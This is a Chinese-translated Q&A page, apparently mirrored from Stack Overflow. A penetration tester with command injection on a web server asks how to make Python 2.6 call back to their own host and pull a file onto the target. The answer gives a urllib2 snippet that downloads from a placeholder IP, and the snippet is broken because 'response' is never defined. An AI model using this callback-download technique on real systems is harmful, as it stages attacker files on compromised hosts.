簡體   English   中英

Python26腳本從遠程主機獲取文件

[英]Python26 script to grab a file from remote host

我正在尋找有關Python腳本的幫助。

我正在做一個滲透測試項目,並且已經獲得了執行命令注入和在具有有限特權的系統wwwroot目錄中寫入文件的權限。 ftp和telnet都在系統上,但是我沒有權限。 在這一點上可能真正有用的一件事是系統上的Python26,我可以使用。 不過,我對Python的了解很少。

我的想法是...有沒有辦法使用Python腳本回叫我的主機並從我的主機中抓取文件? 如果是這樣,是否有人對如何編寫腳本有任何指示?

提前致謝。

import urllib2
file = "success2.txt"
url = "http://xx.xx.xx.xx/test.txt"
fh = open(file, "w")
fh.write(response.read())
fh.close()

所以這就是我在@furas的建議之后所做的事情。

我進行了更多研究,發現: http : //www.pythonforbeginners.com/python-on-the-web/how-to-use-urllib2-in-python/

解釋得很好。

希望這對以后的人有所幫助。

據我了解的代碼。 首先設置變量“ file”,這就是要寫入的內容(絕對路徑可能對於遠程使用很重要),然后設置文件所在的網址和文件名

然后將代碼文件寫入。 然后,它將寫入從URL打開的文件。

與ftp不同,這似乎並不直接“復制”文件。 因此,您可能需要在fh = open(file,“ w”)中使用“ wb”,這對二進制文件有所幫助。 w和wb之間的差異不是100%,但是這種方法對我有用。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM